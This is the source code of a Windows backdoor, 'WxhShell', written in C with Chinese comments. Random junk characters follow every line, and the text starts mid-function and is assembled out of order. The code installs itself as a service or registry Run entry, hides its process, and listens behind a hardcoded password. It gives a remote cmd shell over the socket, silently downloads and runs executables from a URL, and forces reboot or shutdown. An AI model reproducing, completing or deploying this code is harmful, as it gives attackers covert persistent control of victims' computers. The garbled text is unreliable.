    if(Boot(SHUTDOWN)) z[0LU]b<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q/d5P  
    else {  1pYmtr  
    closesocket(wsh); 0`g}(}'L  
    ExitThread(0); T@d_ t  
    } 4 _c:Vl  
    break; $v?! 6:  
    } ,J`lr U0  
  // 获取shell  Rsa\V6N>  
  case 's': { *_"c! eW  
    CmdShell(wsh); ul z\x2[Pf  
    closesocket(wsh); clR?< LO  
    ExitThread(0); aOAwezfYR  
    break; 5CRc]Q #@  
  } &2<&X( )  
  // 退出 }Uqa8&  
  case 'x': { N%n1>!X)!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KL:6P-3  
    CloseIt(wsh); c4qp3B_w  
    break; M'>D[5;N~  
    } \M'bY:  
  // 离开 m_r@t*  
  case 'q': { x[.z"$T@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); r[UyI3(i^  
    closesocket(wsh); b. %B;qB  
    WSACleanup(); @kCD.  
    exit(1); .JD4gF2N  
    break; N,sqrk]  
        } >zfZw"mEP  
  } xi1N? pP  
  } cc2oFn  
H>X\C;X[  
  // 提示信息 Jegx[*O>b  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yG4LQE  
} C9z~)aL}7  
  } #0YzPMV  
Ck/_UY|  
  return; D<D k1  
} M|Lw`?T  
cV=_G E  
// shell模块句柄 '7O{*=`oj  
int CmdShell(SOCKET sock) WV !kA_  
{ xj00eL  
STARTUPINFO si; die2<'\4%  
ZeroMemory(&si,sizeof(si)); eN2k8=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5>4A}hSe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3 q.[-.q  
PROCESS_INFORMATION ProcessInfo; .olP m3MC  
char cmdline[]="cmd"; 1$3XKw'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); faL^=CAe  
  return 0; S\{^LVXTMd  
} ~d#;r5>  
Y+"hu2aPkY  
// 自身启动模式 )o'U0rAx|a  
int StartFromService(void) &"H<+>`  
{ x9o^9QJh  
typedef struct xJH9qc ME  
{ -Y jv&5  
  DWORD ExitStatus; .^N#|hp^  
  DWORD PebBaseAddress; 8)q]^  
  DWORD AffinityMask; yZ(Nv $[5  
  DWORD BasePriority; yK>0[6l  
  ULONG UniqueProcessId; i6g[E 4nk  
  ULONG InheritedFromUniqueProcessId; 3Ld ;zW  
}   PROCESS_BASIC_INFORMATION; +{Vwz  
sKB-7  
PROCNTQSIP NtQueryInformationProcess; amk42  
ubN"(F:!-S  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; SU#P.y18%  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; < jocfTBk  
.^`a6>EQ)|  
  HANDLE             hProcess; ,d [b"]Zy  
  PROCESS_BASIC_INFORMATION pbi; O3w_vm'  
ZTPOD.:#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); }Cq9{0by?a  
  if(NULL == hInst ) return 0; :'=~/GR  
Dxa)7dA|  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); T.m)c%]^/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); I ;11j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); "TH-A6v1  
O"s`-OM;n  
  if (!NtQueryInformationProcess) return 0; ^* /v,+01f  
3W0E6H"  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); GT\s!D;<  
  if(!hProcess) return 0; 3RH# e1Y  
f{ 4G  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v[yTk[zd0  
hZ\W ?r  
  CloseHandle(hProcess); U0bE B  
'B<qG<>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); m5;[,He  
if(hProcess==NULL) return 0; {@K2WB  
xMfv&q=k@  
HMODULE hMod; vL=--#  
char procName[255]; 6`5 @E\"E  
unsigned long cbNeeded; #ZnX6=;X  
x V 1Z&l  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )Fr;'JYC1S  
^B6i6]Pd=9  
  CloseHandle(hProcess); b\Xu1>  
+_XbHjhN/  
if(strstr(procName,"services")) return 1; // 以服务启动 V8U`%/`N  
A*;^F]~'  
  return 0; // 注册表启动 e'?d oP  
} ~ ew**@N  
^(m6g&$(  
// 主模块 =|JIY  
int StartWxhshell(LPSTR lpCmdLine) ]{6yS9_tuI  
{ Q}f}Jf3P  
  SOCKET wsl; Lv5 ==w}  
BOOL val=TRUE; 0qd;'r<  
  int port=0; $I6eHjYT  
  struct sockaddr_in door; io33+/  
GqD!W8+  
  if(wscfg.ws_autoins) Install(); Lvj5<4h;  
ZYD88kQ  
port=atoi(lpCmdLine); |KrG3-i3X  
.8PO7#  
if(port<=0) port=wscfg.ws_port; d|?(c~  
uj1E* 98m  
  WSADATA data; @G$<6CG\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3;l>x/amk  
#M9D" <pn}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #m$%S%s  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K,,@',  
  door.sin_family = AF_INET; ,JBw$ C  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Am?Hkh2  
  door.sin_port = htons(port); 8OtUY}R  
WT!\X["FI$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |%cO"d^ri  
closesocket(wsl); O2/w:zOg'  
return 1; e%c5 OZ3~  
} K#sb"x`  
i7FR78^  
  if(listen(wsl,2) == INVALID_SOCKET) { ._8cJf.ae  
closesocket(wsl); HXV73rDA  
return 1; Di"9 M(6vf  
} +2fJ  
  Wxhshell(wsl); L(n~@ gq  
  WSACleanup(); Jx>B %vZ\  
pD6g+Taj  
return 0; ;I))gY-n  
DfzUGX  
} l5OV!<7~X  
)W6- h  
// 以NT服务方式启动 :E&T}RN  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) MH8%-UV  
{ Z#t)Z "  
DWORD   status = 0; <J }9.k  
  DWORD   specificError = 0xfffffff; |QTqa~~B  
8EEQV}4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~_j%nJ &2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 59Q Q_#>  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 32|L $o  
  serviceStatus.dwWin32ExitCode     = 0; $H@)hY8wA  
  serviceStatus.dwServiceSpecificExitCode = 0; N3c)ce7[  
  serviceStatus.dwCheckPoint       = 0; }=m?gF%3  
  serviceStatus.dwWaitHint       = 0; jMWwu+w  
+U)|&1oa  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ]9< 9F ?  
  if (hServiceStatusHandle==0) return; UpseU8Wo  
FRQ("6(  
status = GetLastError(); jLS]^|  
  if (status!=NO_ERROR) :h^UC~[h 3  
{ Ci9wF (<k  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |{IU<o x  
    serviceStatus.dwCheckPoint       = 0; u2O^3r G-  
    serviceStatus.dwWaitHint       = 0; `b`52b\6S  
    serviceStatus.dwWin32ExitCode     = status; c%/&@vs7  
    serviceStatus.dwServiceSpecificExitCode = specificError; UVmyOC[Y{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d?y\~<  
    return; 0@x$Cp  
  } B:#0B[  
2|>wY%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; yx;R#8;b.  
  serviceStatus.dwCheckPoint       = 0; @%G"i:HZ&  
  serviceStatus.dwWaitHint       = 0; ]JPPL4wAT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \lIHC{V\  
} UXB8sS*wQ?  
JU \J  
// 处理NT服务事件,比如:启动、停止 _"bvT?|  
VOID WINAPI NTServiceHandler(DWORD fdwControl) $<% nt  
{ -t'oW*kdL  
switch(fdwControl) vk+%#w  
{ UMW^0>Z!v  
case SERVICE_CONTROL_STOP: $hp?5K M  
  serviceStatus.dwWin32ExitCode = 0; (IHBib "  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; il%tu<E#J~  
  serviceStatus.dwCheckPoint   = 0; !;C(pnE  
  serviceStatus.dwWaitHint     = 0; *"sDaN0@R  
  { poFjhq /#(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PxD}j 2Kd  
  } 9QZwUQ  
  return; &0Zk3D4  
case SERVICE_CONTROL_PAUSE: -?`l<y(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N_[ Q.HD"  
  break; w/W?/1P>q  
case SERVICE_CONTROL_CONTINUE: ~EkGG .  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 9+Bq00-Z$  
  break; 58'y~Ou  
case SERVICE_CONTROL_INTERROGATE: H>X1(sh#}  
  break; 7t Kft  
}; f8jz49C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L(P:n-^  
} 3v+}YT{>b  
G6mM6(Sr  
// 标准应用程序主函数 (MiOrzT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x)Kh _G  
{ jV&W[xKa  
E?D{/ k,zZ  
// 获取操作系统版本 FGhrf  
OsIsNt=GetOsVer(); 0M2+?aKif  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]!o,S{a&  
5<?$/H|7T  
  // 从命令行安装 b=\3N3OX  
  if(strpbrk(lpCmdLine,"iI")) Install(); <f{`}drp/  
Cy'W!qH  
  // 下载执行文件 <%uZwk>#  
if(wscfg.ws_downexe) { rWKLxK4oU  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) k\Tm?^L)  
  WinExec(wscfg.ws_filenam,SW_HIDE); `9{C/qB  
} sc>)X{eb  
u`,R0=<4  
if(!OsIsNt) { A_U0HVx_  
// 如果时win9x,隐藏进程并且设置为注册表启动 abP?Dj&  
HideProc(); N ] /d  
StartWxhshell(lpCmdLine); 3"D00~  
} >8t[EsW/  
else &`2*6 )qa  
  if(StartFromService()) [;8fL  
  // 以服务方式启动 Xb 1^Oj  
  StartServiceCtrlDispatcher(DispatchTable); #N}}8RL  
else sswAI|6ou  
  // 普通方式启动 5g7}A`  
  StartWxhshell(lpCmdLine); 2DdLqZY#  
?+o7Y1 k,  
return 0; T7_rnEOO   
} 58U[r)/  
)WJI=jl  
)3 ">%1R  
oYx f((x  
=========================================== 98nLj9  
Q_Sq  uuk  
GQxJ (f  
0Hf-~6  
_Fy:3,(  
PP|xIAc  
" $& gidz/w  
w`f~Ht{wYR  
#include <stdio.h> !`E2O*g  
#include <string.h> '-TFrNO;h  
#include <windows.h> o|E(_ Y4d  
#include <winsock2.h> Kx!|4ya,  
#include <winsvc.h> scwlW b<N  
#include <urlmon.h> I@v.Hqg+7  
vB4qJ{f  
#pragma comment (lib, "Ws2_32.lib") 5X|aa>/  
#pragma comment (lib, "urlmon.lib") |<icx8hbr  
:\We =oX  
#define MAX_USER   100 // 最大客户端连接数 iAhRlQ{Qu  
#define BUF_SOCK   200 // sock buffer >g=:01z9  
#define KEY_BUFF   255 // 输入 buffer sOenR6J<$  
:PkSX*E[q  
#define REBOOT     0   // 重启 T5G+^XDA  
#define SHUTDOWN   1   // 关机 @cNI|T  
#]^`BQ>  
#define DEF_PORT   5000 // 监听端口 ueo3i1  
"+Rm4_  
#define REG_LEN     16   // 注册表键长度 9j9?;3;  
#define SVC_LEN     80   // NT服务名长度 &_gmQ;%t:  
l%/,Ef*3  
// 从dll定义API $"1&!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); U?yXTMD  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `?m(Z6'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ` XY[ HK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); THZ3%o=X  
+O6@)?pI  
// wxhshell配置信息 BtZm_SeA  
struct WSCFG { "<b84?V5  
  int ws_port;         // 监听端口 Vdyx74xX  
  char ws_passstr[REG_LEN]; // 口令 H-lRgJdc  
  int ws_autoins;       // 安装标记, 1=yes 0=no \/zS@fz  
  char ws_regname[REG_LEN]; // 注册表键名 yY|U}]u!V  
  char ws_svcname[REG_LEN]; // 服务名 NYRNop( N#  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UkQocZdZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FiL JF!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 1N*~\rV*?  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 5J3kQ;5Q?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '-{jn+,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2V 'Tt3  
=z.AQe+   
}; 2Ta F7Jn  
=wc[ r?7  
// default Wxhshell configuration Hq8.O/Y"=  
struct WSCFG wscfg={DEF_PORT, G9Ezm*I;:  
    "xuhuanlingzhe", ST.W{:X   
    1, GV/FK{v5  
    "Wxhshell", ~coG8r"o  
    "Wxhshell", vkLG<Y  
            "WxhShell Service", UzXbaQQ2g  
    "Wrsky Windows CmdShell Service", -`o:W?V$u  
    "Please Input Your Password: ", X_2I4Jz]6  
  1, ['<rfK  
  "http://www.wrsky.com/wxhshell.exe", 7#QH4$@1P  
  "Wxhshell.exe" nK$m:=  
    }; e{/\znBS%  
Joj8'  
// 消息定义模块 Zx0c6d!B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4mg&H0 !  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xa:P(x3[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >[U$n.  
char *msg_ws_ext="\n\rExit.";  t&]IgF  
char *msg_ws_end="\n\rQuit."; ~ME=!;<_  
char *msg_ws_boot="\n\rReboot..."; NeP1 #  
char *msg_ws_poff="\n\rShutdown..."; 7)#/I  
char *msg_ws_down="\n\rSave to "; u@Lu.t!],  
@hv] [(<  
char *msg_ws_err="\n\rErr!"; - Zh+5;8g  
char *msg_ws_ok="\n\rOK!"; Qfi5fp=f  
lQjq6Fl2  
char ExeFile[MAX_PATH]; @ck2j3J/  
int nUser = 0; 6dp~19T^  
HANDLE handles[MAX_USER]; j!/(9*\  
int OsIsNt; Qzv_|U  
;RI,zQ  
SERVICE_STATUS       serviceStatus; e2Dj%=`EU  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2UquN0  
BHYEd}M  
// 函数声明 49 D*U5o  
int Install(void); umeb&\:8S-  
int Uninstall(void); Oh: -Y]m=  
int DownloadFile(char *sURL, SOCKET wsh); _{aVm&^kA  
int Boot(int flag); gg9W7%t/  
void HideProc(void); }sZ]SE  
int GetOsVer(void); /k,p]/e  
int Wxhshell(SOCKET wsl); t z{]H9  
void TalkWithClient(void *cs); ADDpm-]  
int CmdShell(SOCKET sock); -rfO"D>  
int StartFromService(void); V !$m{)Y  
int StartWxhshell(LPSTR lpCmdLine); s_N!6$tS   
0=iJT4IEJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  W~4|Z=f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); sQvEUqy9  
KqQrxi?f-  
// 数据结构和表定义 ^B/{  
SERVICE_TABLE_ENTRY DispatchTable[] = rRW&29A  
{ &wfM:a/c  
{wscfg.ws_svcname, NTServiceMain}, \wd~ Y  
{NULL, NULL} .:0nK bW  
}; 6Jm4?ex  
:?TV6M  
// 自我安装 h) rHf3:  
int Install(void) /T@lHxX  
{ mAMKCxz,  
  char svExeFile[MAX_PATH]; qJ !xhf1  
  HKEY key; T&%>/7I>  
  strcpy(svExeFile,ExeFile); -T>`PJpJuL  
K67x.PZ  
// 如果是win9x系统,修改注册表设为自启动 Onl:eG;@  
if(!OsIsNt) { mP-+];gg  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Xo,BuK&G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 8c#*T%Vf  
  RegCloseKey(key);  2r[,w]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UkUdpZ.[il  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); C`ok{SNtUy  
  RegCloseKey(key); %<klz)!t  
  return 0; 9Y(<W_{/  
    } .d2s4q\  
  } cg4,PI% hz  
} A-<qr6q  
else { R~b$7jpd  
lL?;?V~  
// 如果是NT以上系统,安装为系统服务 #q-t!C%E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [|3 %~s|Sv  
if (schSCManager!=0) v1: 5 r  
{ pD{Li\LY  
  SC_HANDLE schService = CreateService 1+]e?  
  ( B:l(`G  
  schSCManager, @"6BvGU2s  
  wscfg.ws_svcname, c{[d@jt O  
  wscfg.ws_svcdisp, pq@ad\8  
  SERVICE_ALL_ACCESS, opBv x>S  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gr_I/+<  
  SERVICE_AUTO_START, -Fb/GZt|  
  SERVICE_ERROR_NORMAL, czj[U|eB}=  
  svExeFile, 4):\,>%pK  
  NULL, Uc&0>_Z  
  NULL, #M:W?&.  
  NULL, c;Li~FLR  
  NULL, iU &V}p  
  NULL K3jno+U&  
  ); =I?p(MqW  
  if (schService!=0) tqHXzmsjW  
  { niFjsTA.Z  
  CloseServiceHandle(schService); >0>M@s  
  CloseServiceHandle(schSCManager); -n6C~Yx  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rh+OgKi  
  strcat(svExeFile,wscfg.ws_svcname); EV9m\'=j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h"[ ][  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >IRo]-,  
  RegCloseKey(key); YpiSH(70`  
  return 0; } nQHP4'  
    } %K zURv  
  } 5K8\hoW{  
  CloseServiceHandle(schSCManager); Si;e_a  
} zdY`c  
} #pf}q+A  
hM;EUWv  
return 1; 0j3j/={|.1  
} NoMEe<  
S"lcePN  
// 自我卸载 f6DPah#  
int Uninstall(void) ioZ2J"s  
{ 1 @/+ c  
  HKEY key; }JI5,d  
LnBkd:>}  
if(!OsIsNt) { 4kx#=MLt  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1j}o. 0\  
  RegDeleteValue(key,wscfg.ws_regname); (A1!)c  
  RegCloseKey(key); }ts?ZR^V,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7UMsKE-  
  RegDeleteValue(key,wscfg.ws_regname); iJ~p X\FKO  
  RegCloseKey(key); ?L_#AdK  
  return 0; *FO']D  
  } ~Su>^T(?-  
} $BG9<:p  
} ,Qp58u2V  
else { nwz}&nR  
1 }:k w  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); hj-M #a  
if (schSCManager!=0) Z#9{1sHEP  
{ ]E`DG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }O_6wi  
  if (schService!=0) ,"DkMK4%  
  { 8,%y`tUn>u  
  if(DeleteService(schService)!=0) { z2-=fIr.h  
  CloseServiceHandle(schService); @~zhAU!  
  CloseServiceHandle(schSCManager); @mW0EJ8bb  
  return 0;  Wkf)4!  
  } !I:6L7HdwB  
  CloseServiceHandle(schService); gbo{Zgf<  
  } !j\  yt  
  CloseServiceHandle(schSCManager); ]Dx5t&  
} z. 7 UfLV9  
} _c`Gxt%  
z]tvy).  
return 1; K2NnA  
} IUwY/R9Q  
lO<Ujb#"R  
// 从指定url下载文件 :I1bGa&I  
int DownloadFile(char *sURL, SOCKET wsh) S0\:1B  
{ R D)dw  
  HRESULT hr; ^5xY&1j  
char seps[]= "/"; P[^!Uq[0n7  
char *token; yBeSvsm  
char *file; SdN|-'qf  
char myURL[MAX_PATH]; x_#yH3kJ  
char myFILE[MAX_PATH]; >&p_G0-  
#t9&X8:U  
strcpy(myURL,sURL); IA''-+9  
  token=strtok(myURL,seps); $vicxE~-E  
  while(token!=NULL) O(CUwk  
  { 1#XMUbFc  
    file=token; VYvHpsI  
  token=strtok(NULL,seps); *S*;rLH9c  
  } %]d^B |  
 8DyE  
GetCurrentDirectory(MAX_PATH,myFILE); g(|p/%H  
strcat(myFILE, "\\"); cLX~NPD/  
strcat(myFILE, file); C#;}U51:t  
  send(wsh,myFILE,strlen(myFILE),0);  :;rd!)5  
send(wsh,"...",3,0); u2o6EU`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <.~j:GbsE  
  if(hr==S_OK) %WdAI,  
return 0; ar R)]gk 7  
else RfFeAg,]/  
return 1; . [*6W.X  
i yMIP~N,$  
} ."cC^og  
ig3uY#  
// 系统电源模块 ?2QssfB  
int Boot(int flag) Q_]O[Kx  
{ ; *r5 d+]  
  HANDLE hToken; !=Cd1 $<  
  TOKEN_PRIVILEGES tkp; WY  #pzBA  
iwrS>Sm  
  if(OsIsNt) { q>f1V3  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Q;Xb-\\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); q=Q5s?sQc  
    tkp.PrivilegeCount = 1; N(6|TE2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H"].G^V\6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); *b~$|H-\  
if(flag==REBOOT) { p e |k}{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rWAJL9M  
  return 0; ,"5Fw4G6*  
} =l?5!f9  
else { 2Q0fgH2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LeXu Td  
  return 0; 67%o83\  
} +Z#lf  
  } 89?AcZ.D  
  else { PG+ICg  
if(flag==REBOOT) { gtqgf<mS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ig)rK<@*[  
  return 0; -"#;U`.oh7  
} H~Hh $-z  
else { u6$fF=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >@` D@_v  
  return 0; ]t(;bD hT  
} \k;*Ej~.  
} rt^<=|Z  
!ku5P+y$  
return 1; ;WWUxrWif  
} VYMs`d[  
c"H*9u:  
// win9x进程隐藏模块 gfR B  
void HideProc(void) 5$`ihO?  
{ 5W(G~m?jC6  
ok  iI:  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {?$-p%CF`8  
  if ( hKernel != NULL ) R^{Ow  
  { 0_J<=T?\"s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ULkjY1&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o!dTB,Molr  
    FreeLibrary(hKernel); 3mIVNT@S9  
  } &Vd,{JU  
2*ZB[5_V  
return; \J.PrE'(}  
} 7 &DhEI ^  
&>XIK8*  
// 获取操作系统版本 2aNCcZw0  
int GetOsVer(void) 37Q9goMov  
{ Z4b<$t[u  
  OSVERSIONINFO winfo; #"jEc*&=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ckHHD|  
  GetVersionEx(&winfo); 'x$>h)t]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >T'^&l(:  
  return 1; CuR.a  
  else Wz`MEyj  
  return 0; Z ^zUb  
} 9~J  
3){ /u$iH.  
// 客户端句柄模块 b%z4u0  
int Wxhshell(SOCKET wsl) )#%k/4(Y  
{ /{gCf  
  SOCKET wsh; {=pRU_-^  
  struct sockaddr_in client; _e E(P1  
  DWORD myID; xxpvVb)mF  
)S]4 Kt_  
  while(nUser<MAX_USER) z^;*&J   
{ A'^y+42jY  
  int nSize=sizeof(client); &!x!j ,nT  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *fQ$s  
  if(wsh==INVALID_SOCKET) return 1; fo;Ftf0  
no~hYy W2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 5|._K(M  
if(handles[nUser]==0) f5.rzrU  
  closesocket(wsh); FJ#:RC  
else XT~!dq5  
  nUser++; @doo2qqIe]  
  } <x e=G]v  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); R2|v[nh  
N|WZk2 "  
  return 0; K; ,2ag  
} :FcYjw  
t2Q40' `  
// 关闭 socket sN]O]qYXJ  
void CloseIt(SOCKET wsh) >AX&PMb`  
{ _BHR ?I[w  
closesocket(wsh); I<PKwT/?  
nUser--; o&g-0!"  
ExitThread(0); ^vw? 4O  
} V4@ HIM  
U{6i5;F#H  
// 客户端请求句柄 aZ"9)RJe  
void TalkWithClient(void *cs) 1iyd{r7|  
{ F0 x5(lp Q  
?nN3K   
  SOCKET wsh=(SOCKET)cs; $Hh3*reSg-  
  char pwd[SVC_LEN]; _?$P?  
  char cmd[KEY_BUFF]; Q}.zE+  
char chr[1]; f4eLnY  
int i,j; gB BS}HF  
Z:7X=t =  
  while (nUser < MAX_USER) { tu {y  
yyCx;  
if(wscfg.ws_passstr) { f-!t31?XK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7UM!<@9\  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wju2xM  
  //ZeroMemory(pwd,KEY_BUFF); 9,g &EnvG  
      i=0; I[E/)R{\  
  while(i<SVC_LEN) { IWbW=0IsS  
=23JE'^=  
  // 设置超时 M`^;h:DN^  
  fd_set FdRead;  0].*eM  
  struct timeval TimeOut;  lt%bGjk  
  FD_ZERO(&FdRead); QhV!%}7  
  FD_SET(wsh,&FdRead); zfAHE {c  
  TimeOut.tv_sec=8; =I. b2e 1z  
  TimeOut.tv_usec=0; yf5X=f.%@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )Nv$ SH  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); f~nAJ+m=  
jF4h/((|EU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H]>b<Cs  
  pwd=chr[0]; z@5t7e)!R  
  if(chr[0]==0xd || chr[0]==0xa) { (9R;a np  
  pwd=0; 0=  ]RG  
  break; U6SgV 8  
  } 57W4E{A  
  i++; mqPV Eo  
    } e}e|??'(\  
E07g^y"}i  
  // 如果是非法用户,关闭 socket V-rzn171Q)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 'fB/6[bd  
} Ip_S8 ;;  
e+J|se4L5  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^}nz^+R  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ra#s!m1  
P5{|U"Y_  
while(1) { ~b L^&o(W  
*oR`l32O0z  
  ZeroMemory(cmd,KEY_BUFF); 'uAH, .B  
i&KD)&9b#  
      // 自动支持客户端 telnet标准   z=q   
  j=0; qgTN %%"~  
  while(j<KEY_BUFF) { dfkmIO%9X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); &}sC8,Sr  
  cmd[j]=chr[0]; r2,AZ+4FP  
  if(chr[0]==0xa || chr[0]==0xd) { Sg$14B  
  cmd[j]=0; !B 36+W+  
  break; |%6zhkoufM  
  } h ]'VAt  
  j++; mMLxT3Ci8  
    } )./pS~  
&Uqm3z?v  
  // 下载文件 }M%U}k]+@  
  if(strstr(cmd,"http://")) { e> "/Uii  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); "n'LF?/H'  
  if(DownloadFile(cmd,wsh)) ;Kb]v\C:  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l+$ e|F  
  else $'M:H_T  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LeY!A#j  
  } WHh=ht s\  
